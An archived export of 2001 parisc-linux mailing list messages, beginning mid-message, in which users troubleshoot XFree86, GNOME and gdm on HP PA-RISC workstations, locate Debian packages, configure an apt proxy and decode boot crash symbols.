xfonts-100dpi_4.0.3-4_all.deb
xlibs_4.0.3-4_hppa.deb
libxaw7_4.0.3-4_hppa.deb
libfreetype6_2.0.2.20010514-1_hppa.deb
xdm_4.0.3-4_hppa.deb
xbase-clients_4.0.3-4_hppa.deb
libxaw6_4.0.3-4_hppa.deb
xutils_4.0.3-4_hppa.deb

On the B180 I use the same XF86config as on 712/80, the one from  Thomas
Bogendoerfer available at:
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-June/012928.html

(I also changed "repeat_type=ms3" to  "repeat_type=" in /etc/gpm.conf to
make mouse working correctly)

With kernels 2.4.0-32 and 2.4.6 xdm failed because:
"(EE) No devices detected.

Fatal server error:
no screen found.
..."

With the last kernel 2.4.7-pa1, it failed: on the console a lot of "kernel
BUG at init.c:731!"

Thanks in advance for all advises,
     Joel

PS: I also try to boot with palinux-0.9.2 CD on a B2000 but the kernel
panic at the boot time (sorry no more info)




**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:18:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] XFree86, Gnome on 712/80
Date: Fri, 3 Aug 2001 12:26:19 +0200
Lines: 132
Approved: news@gmane.org
Message-ID: <OFDA82DE64.7D19042A-ONC1256A9D.00225C6C@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620357 23336 80.91.229.3 (22 Nov 2014 01:39:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  3 04:23:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id B176F482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 Aug 2001 04:23:44 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d5524c97a40@epirel991.europay.com>;
 Fri, 3 Aug 2001 12:23:23 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 08/03/2001 12:26:20 PM
Xref: news.gmane.org gmane.linux.ports.parisc:11796

Hi all,

To test Xfree86, I install following packages:

xserver-xfree86_4.0.3-4_hppa.deb
xserver-common_4.0.3-4_hppa.deb
xterm_4.0.3-4_hppa.deb
xlibmesa3_4.0.3-4_hppa.deb
xlib6g_4.0.3-4_all.deb
xfree86-common_4.0.3-4_all.deb
xfonts-scalable_4.0.3-4_all.deb
xfonts-base_4.0.3-4_all.deb
xfonts-75dpi_4.0.3-4_all.deb
xfonts-100dpi_4.0.3-4_all.deb
xlibs_4.0.3-4_hppa.deb
libxaw7_4.0.3-4_hppa.deb
libfreetype6_2.0.2.20010514-1_hppa.deb
xdm_4.0.3-4_hppa.deb
xbase-clients_4.0.3-4_hppa.deb
libxaw6_4.0.3-4_hppa.deb
xutils_4.0.3-4_hppa.deb

On the 712/80 it seems to works now with XF86config file which Thomas
Bogendoerfer used in:
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-June/012928.html

(I just had to change "repeat_type=ms3" to  "repeat_type=" in /etc/gpm.conf
to make mouse working correctly)

Following this success, I would go further and try to start gnome and so
install following packages:
gnome-help_1.4.0.4-6_hppa.deb
gnome-core_1.4.0.4-6_hppa.deb
gnome-panel_1.4.0.4-6_hppa.deb
gnome-session_1.4.0.4-6_hppa.deb
gnome-terminal_1.4.0.4-6_hppa.deb
gnome-utils_1.4.0.2-2_hppa.deb
gnome-panel-data_1.4.0.4-6_all.deb
gnome-bin_1.2.13-9_hppa.deb
gnome-libs-data_1.2.13-9_all.deb
imlib1_1.9.10-5_hppa.deb
imlib-base_1.9.10-5_all.deb
libjpeg62_6b-1.3_hppa.deb
libpng2_1.0.12-2_hppa.deb
libtiff3g_3.5.5-5_hppa.deb
libungif4g_4.1-9_hppa.deb
libc6_2.2.3-9_hppa.deb
scrollkeeper_0.2-5_hppa.deb
libscrollkeeper0_0.2-5_hppa.deb
libxml1_1.8.14-4_hppa.deb
libgtk1.2_1.2.10-1_hppa.deb
libgnorba27_1.2.13-9_hppa.deb
libgnomeui32_1.2.13-9_hppa.deb
libgnorbagtk0_1.2.13-9_hppa.deb
libgnorba27_1.2.13-9_hppa.deb
liborbit0_0.5.8-2_hppa.deb
libesd0_0.2.22-6_hppa.deb
libesd-alsa0_0.2.22-6_hppa.deb
libaudiofile0_0.2.2-1_hppa.deb
libesd-alsa0_0.2.22-6_hppa.deb
libaudiofile0_0.2.2-1_hppa.deb
libasound1_0.5.10-2.1_hppa.deb
esound-common_0.2.22-6_all.deb
libgnomesupport0_1.2.13-9_hppa.deb
libcapplet0_1.4.0.1-11_hppa.deb
libgdk-pixbuf2_0.11.0-2_hppa.deb
libgnome32_1.2.13-9_hppa.deb
libpanel-applet0_1.4.0.4-6_hppa.deb
libbz2-1.0_1.0.1-12_hppa.deb
libgnome32_1.2.13-9_hppa.deb
libgtkxmhtml1_1.2.13-9_hppa.deb
libgdk-pixbuf-gnome2_0.11.0-2_hppa.deb
libzvt2_1.2.13-9_hppa.deb
libglade0_0.16-4_hppa.deb
libglade-gnome0_0.16-4_hppa.deb
libgtop1_1.0.12-2.2_hppa.deb
gdm_2.2.3.1-2_hppa.deb

And this gdm failled to start?
in /var/log/daemon.log: ...gdm[..]: Failed to start the display server
several times in a short time period; disable display :0

I well see the server trying restart severall time but without other error
logged elsewhere? Any idea (about the problem or how to log more)?

Against, if I remove only gdm and re-install xdm, I got well xdm login
screen but when I try to login with my user account it failed but I got
severall errors:

1) in auth.log:
    PAM unable to dlopen(/lib/security/pam_condev.so)
    PAM [dlerror: /lib/security/pam_condev.so: cannot open shared object
file: No such file or directory]
    PAM adding faulty module: /lib/security/pam_condev.so

Note:
/lib/security/pam_condev.so is not really installed on the system.
On http://www.debian.org/distrib/packages I try to find which package could
supply it but
"Debian package contents search results

FILE                                                       PACKAGE

No responses to your query."


2) in xdm.log:
rm: cannot remove '/var/run/xconsole:0.pid': No such file or directory
ioctl FBIOPAN_DISPLAY: Invalid argument
PEXExtensionInit: Couldn't open default PEX font file  Roman_M

Note:
/var/run/xconsole:0.pid does not exist but well /var/run/xconsole.:0.pid
(additional dot between e and :)


Thanks in advance for all advises,
     Joel

PS: I got the same problem as well as with 2.4.6-pa22 (20010801) as
2.4.7-pa1 (20010802)




**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:18:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dev-packages
Date: Fri, 3 Aug 2001 11:35:39 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20010803113539.B1011@linuxcare.com>
References: <20010802221905.C20250@parcelfarce.linux.theplanet.co.uk> <Pine.BSF.4.30.0108030645560.38503-100000@noc.zabbadoz.net> <20010803132528.G9637@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620357 23339 80.91.229.3 (22 Nov 2014 01:39:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  3 04:33:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 16DFF482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 Aug 2001 04:33:56 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 1EB74B00C; Fri,  3 Aug 2001 11:35:39 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010803132528.G9637@neep.com.au>; from andrew@neep.com.au on Fri, Aug 03, 2001 at 01:25:33PM +0800
Xref: news.gmane.org gmane.linux.ports.parisc:11797

On Fri, Aug 03, 2001 at 01:25:33PM +0800, Andrew Shugg wrote:
> Quoth Bjoern A. Zeeb:
> > On Thu, 2 Aug 2001, Matthew Wilcox wrote:
> > > They're all available in the debian archive.  I don't think we have
> > > plans to produce any more CDs until the Debian Woody release (probably
> > > December).
> > 
> > Could you point me to some URL (incl. subdir) please ?
> 
> If you've got apt configured (/etc/apt/apt.conf, /etc/apt/sources.list)
> then you don't need to worry about finding things directly.  After doing
> an 'apt-get update' to fetch the current Packages files and rebuild the
> local package database, you can say 'apt-cache search foo' and it will
> show you all the packages called foo or with foo in their description.
> A simple 'apt-get install foo-dev' will download and install the foo-dev
> package and any other package it may require according to its
> dependencies.

If for some reason you do want to find things directly, you should
be aware that pkgs live in a pool now, and you wont find much under
a sid/main/binary-hppa dir on your local mirror.  For example, libc6-dev
would be found under /pub/mirrors/debian/pool/main/g/glibc.  That one
is under 'g' because the source pkg is glibc.  But as Andrew said, apt
is right way to install things normally.

Richard





From - Thu Nov 08 21:18:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dev-packages
Date: Fri, 3 Aug 2001 12:38:16 +0200 (CEST)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.30.0108031237250.38503-100000@noc.zabbadoz.net>
References: <20010803113539.B1011@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620358 23340 80.91.229.3 (22 Nov 2014 01:39:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:18 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  3 04:38:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zabbadoz.net (mail.zabbadoz.net [195.2.176.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 71B8A4830
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 Aug 2001 04:38:24 -0600 (MDT)
Original-Received: from localhost (bz@localhost)
	by mail.zabbadoz.net (8.11.0/8.11.0) with ESMTP id f73AcG724089;
	Fri, 3 Aug 2001 12:38:17 +0200 (CEST)
X-Sender: <bz@noc.zabbadoz.net>
In-Reply-To: <20010803113539.B1011@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11798

On Fri, 3 Aug 2001, Richard Hirst wrote:

> If for some reason you do want to find things directly, you should
> be aware that pkgs live in a pool now, and you wont find much under
> a sid/main/binary-hppa dir on your local mirror.  For example, libc6-dev
> would be found under /pub/mirrors/debian/pool/main/g/glibc.  That one
> is under 'g' because the source pkg is glibc.  But as Andrew said, apt
> is right way to install things normally.

That's it. thanks.

Is apt proxy-aware ?

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/





From - Thu Nov 08 21:18:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFree86 on B180
Date: Fri, 3 Aug 2001 12:45:01 +0200
Organization: SAP LinuxLab
Lines: 37
Approved: news@gmane.org
Message-ID: <200108031045.MAA28589@sap-ag.de>
References: <OFCFD0268B.6552637A-ONC1256A9D.0025254D@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620358 23346 80.91.229.3 (22 Nov 2014 01:39:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:18 +0000 (UTC)
To: "=?iso-8859-1?q?Jo=EBl?= Soete" <jso@europay.com>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  3 04:45:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id BD53B482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 Aug 2001 04:45:32 -0600 (MDT)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id MAA14662;
  Fri, 3 Aug 2001 12:46:54 +0200 (MESZ)
X-Mailer: KMail [version 1.2.3]
In-Reply-To: <OFCFD0268B.6552637A-ONC1256A9D.0025254D@LocalDomain>
X-SAP: out
X-SAP: out
Xref: news.gmane.org gmane.linux.ports.parisc:11799

> On the B180 I use the same XF86config as on 712/80, the one from  Thomas
> Bogendoerfer available at:
> http://lists.parisc-linux.org/pipermail/parisc-linux/2001-June/012928.html
> ......
>
> With kernels 2.4.0-32 and 2.4.6 xdm failed because:
> "(EE) No devices detected.
>
> Fatal server error:
> no screen found.
> ..."

Hi Jol,

The only way to get XFree86 running on parisc atm is to use the XFree86-fbgen (framebuffer) 
driver in conjunction with the kernel stifb driver. This means, that if you see the graphical 
pengiun (TUX) at bootup on your screen, XFree86 should  run. If you don't see it, you have a 
not yet by stifb supported graphic chip in your machine.
Currently stifb will run on most 712 and 715 machines, while B160, B180, C3000 and most
others won't.

Greetings,
Helge
-- 
_______________________________________________________________________

THE BEST RUN E-BUSINESSES RUN SAP
_______________________________________________________________________

Helge Deller                            email: helge.deller@sap.com
SAP AG Walldorf/Baden, Germany         
LinuxLab                               

SAP LinuxLab support address: linux@sap.com




From - Thu Nov 08 21:18:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dev-packages
Date: Fri, 3 Aug 2001 18:46:36 +0800
Lines: 21
Approved: news@gmane.org
Message-ID: <20010803184634.R5850@neep.com.au>
References: <20010802221905.C20250@parcelfarce.linux.theplanet.co.uk> <Pine.BSF.4.30.0108030645560.38503-100000@noc.zabbadoz.net> <20010803132528.G9637@neep.com.au> <20010803113539.B1011@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620358 23350 80.91.229.3 (22 Nov 2014 01:39:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  3 04:46:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (i003-035.nv.iinet.net.au [203.59.3.35])
	by dsl2.external.hp.com (Postfix) with SMTP id F2DAA482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 Aug 2001 04:46:46 -0600 (MDT)
Original-Received: (qmail 6932 invoked by uid 666); 3 Aug 2001 10:46:41 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.163.54)
  by mail.iinet.net.au with SMTP; 3 Aug 2001 10:46:41 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id SAA27183
	for parisc-linux@lists.parisc-linux.org; Fri, 3 Aug 2001 18:46:38 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010803113539.B1011@linuxcare.com>; from rhirst@linuxcare.com on Fri, Aug 03, 2001 at 11:35:39AM +0100
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:11800

Quoth Richard Hirst:
> If for some reason you do want to find things directly, you should
> be aware that pkgs live in a pool now, and you wont find much under
> a sid/main/binary-hppa dir on your local mirror.

That's right, and the relative path of the file can be found in the
"Filename:" field of 'apt-cache show packagename'.  Append this to the
URL in your /etc/apt/sources.list and you have the complete URL of that
package to download, if for some reason you need to do the downloading
on another system.

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:18:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dev-packages
Date: Fri, 3 Aug 2001 18:52:09 +0800
Lines: 36
Approved: news@gmane.org
Message-ID: <20010803185207.S5850@neep.com.au>
References: <20010803113539.B1011@linuxcare.com> <Pine.BSF.4.30.0108031237250.38503-100000@noc.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620359 23354 80.91.229.3 (22 Nov 2014 01:39:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  3 04:52:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (i003-034.nv.iinet.net.au [203.59.3.34])
	by dsl2.external.hp.com (Postfix) with SMTP id 27126482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 Aug 2001 04:52:17 -0600 (MDT)
Original-Received: (qmail 10131 invoked by uid 666); 3 Aug 2001 10:52:15 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.163.54)
  by mail.iinet.net.au with SMTP; 3 Aug 2001 10:52:15 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id SAA27285
	for parisc-linux@lists.parisc-linux.org; Fri, 3 Aug 2001 18:52:12 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.BSF.4.30.0108031237250.38503-100000@noc.zabbadoz.net>; from bzeeb+hplinux@zabbadoz.net on Fri, Aug 03, 2001 at 12:38:16PM +0200
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:11801

Quoth Bjoern A. Zeeb:
> That's it. thanks.
> 
> Is apt proxy-aware ?

man 5 apt.conf

=)

It sure is, add something like this in your /etc/apt/apt.conf:


// Options for the downloading routines
Acquire
{
  
  // HTTP method configuration
  http 
  {
    Proxy "http://proxy.internal.neep.com.au:3128/";
  };
};


apt-get will also obey the $http_proxy environment variable.

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:18:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFree86 on B180
Date: Fri, 3 Aug 2001 13:21:23 +0200
Lines: 82
Approved: news@gmane.org
Message-ID: <OFDE09A728.E76CFFEA-ONC1256A9D.003E3924@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620359 23356 80.91.229.3 (22 Nov 2014 01:39:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:19 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: "Helge Deller <helge.deller" <helge.deller%sap.com%SMTP%EUROPAY@mastercard.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  3 05:18:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B463482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 Aug 2001 05:18:47 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d5524fbe3e4@epirel991.europay.com>;
 Fri, 3 Aug 2001 13:18:27 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 08/03/2001 01:21:23 PM
Xref: news.gmane.org gmane.linux.ports.parisc:11802

Hello Helge,

Thanks a lot for information,
     Joel



                                                                           =
                                       =20
                    Helge Deller                                           =
                                       =20
                    <helge.deller        To:     Jo=EBl Soete/BRU/MASTERCAR=
D@MASTERCARD,                            =20
                    @sap.com>            parisc-linux@lists.parisc-linux.or=
g@SMTP@EUROPAY,                        =20
                                         debian-hppa@lists.debian.org@SMTP@=
EUROPAY                                =20
                    03-08-01             cc:                               =
                                       =20
                    12:45 PM             Subject:     Re: [parisc-linux] XF=
ree86 on B180                          =20
                                                                           =
                                       =20
                                                                           =
                                       =20



> On the B180 I use the same XF86config as on 712/80, the one from  Thomas
> Bogendoerfer available at:
>
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-June/012928.html
> ......
>
> With kernels 2.4.0-32 and 2.4.6 xdm failed because:
> "(EE) No devices detected.
>
> Fatal server error:
> no screen found.
> ..."

Hi Jo=EBl,

The only way to get XFree86 running on parisc atm is to use the
XFree86-fbgen (framebuffer)
driver in conjunction with the kernel stifb driver. This means, that if you
see the graphical
pengiun (TUX) at bootup on your screen, XFree86 should  run. If you don't
see it, you have a
not yet by stifb supported graphic chip in your machine.
Currently stifb will run on most 712 and 715 machines, while B160, B180,
C3000 and most
others won't.

Greetings,
Helge
--
_______________________________________________________________________

THE BEST RUN E-BUSINESSES RUN SAP
_______________________________________________________________________

Helge Deller                            email: helge.deller@sap.com
SAP AG Walldorf/Baden, Germany
LinuxLab

SAP LinuxLab support address: linux@sap.com





**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:18:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Wichert Akkerman <wichert@wiggy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: strace updates
Date: Fri, 3 Aug 2001 14:27:52 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20010803142752.C8292@wiggy.net>
References: <20010418172628.C4217@zumpano.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620359 23359 80.91.229.3 (22 Nov 2014 01:39:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:19 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@ldl.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  3 06:31:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mx1.wiggy.net (cabal.xs4all.nl [213.84.101.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA512482A
	for <parisc-linux@parisc-linux.org>; Fri,  3 Aug 2001 06:31:42 -0600 (MDT)
Original-Received: from wichert by mx1.wiggy.net with local (Exim 3.22 #1 (Debian))
	id 15Se3U-0002Nk-00; Fri, 03 Aug 2001 14:27:52 +0200
Content-Disposition: inline
In-Reply-To: <20010418172628.C4217@zumpano.fc.hp.com>
User-Agent: Mutt/1.3.18i
Xref: news.gmane.org gmane.linux.ports.parisc:11803

Previously Matthew Wilcox wrote:
> most of the entries for sys_fcntl64 just do printargs, but it's identical
> to sys_fcntl.

Good point, fixed now.

> i can't see how to build this from the sourceforge CVS -- i run autoconf
> but config.h.in is not found.  probably because it's part of .cvsignore.

You have to run autoheader first, see the cvsbuild script.

Wichert.

-- 
  _________________________________________________________________
 /       Nothing is fool-proof to a sufficiently talented fool     \
| wichert@wiggy.net                   http://www.liacs.nl/~wichert/ |
| 1024D/2FA3BC2D 576E 100B 518D 2F16 36B0  2805 3CB8 9250 2FA3 BC2D |




From - Thu Nov 08 21:18:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with Installing of 0.9.2 on HP 715/100
Date: Fri, 03 Aug 2001 10:26:42 -0600
Lines: 66
Approved: news@gmane.org
Message-ID: <200108031626.KAA29447@puffin.external.hp.com>
References: <me@hedd.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620360 23364 80.91.229.3 (22 Nov 2014 01:39:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Martin Eisfeld <me@hedd.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  3 10:28:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id C3AC3482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 Aug 2001 10:28:04 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA29447;
	Fri, 3 Aug 2001 10:26:42 -0600
In-Reply-To: Message from Martin Eisfeld <me@hedd.de> 
   of "Fri, 03 Aug 2001 11:26:21 +0200." <3B6A6E3D.40CF73C1@hedd.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:11804

Martin Eisfeld wrote:
> here are the full putput from serial terminal (terminalemulation with
> hyperterminal from winnt).

FYI, Richard Hirst put the System.map for 0.9.2 at:
	http://puffin.external.hp.com/~rhirst/sys_map.0.9.2-32.gz
	http://puffin.external.hp.com/~rhirst/sys_map.0.9.2-64.gz

gunzip and rename to System.map. Then 'a' (see CVS build-tools repository)
can pull the symbols out given the hex address.

...
> ELF32 executable
> Entry 00100000 first 00100000 n 4
> Segment 0 load 00100000 size 1606948 mediaptr 0x1000
> Segment 1 load 0028a000 size 468472 mediaptr 0x18a000
> Segment 2 load 00300000 size 8192 mediaptr 0x1fd000
> Segment 3 load 0034bea8 size 80688 mediaptr 0x1ffea8
> Loading ramdisk 1991209 bytes @ 0fe09000...
> branching to kernel entry point 0x00100000
> Set default PSW W bit to 0
> 0x02.CBF0
> 0x02.503F

I'm going to guess the system HPMC's at this point and then
our HPMC handler faults (Code 15). Symbols found in the
the stack dump were:
0x1028a010 $global$+0
0x10106750 skip_save_ior+164
0x10102220 handle_interruption+138
0x10292080 hpmc_stack+80
0x10292080 hpmc_stack+80
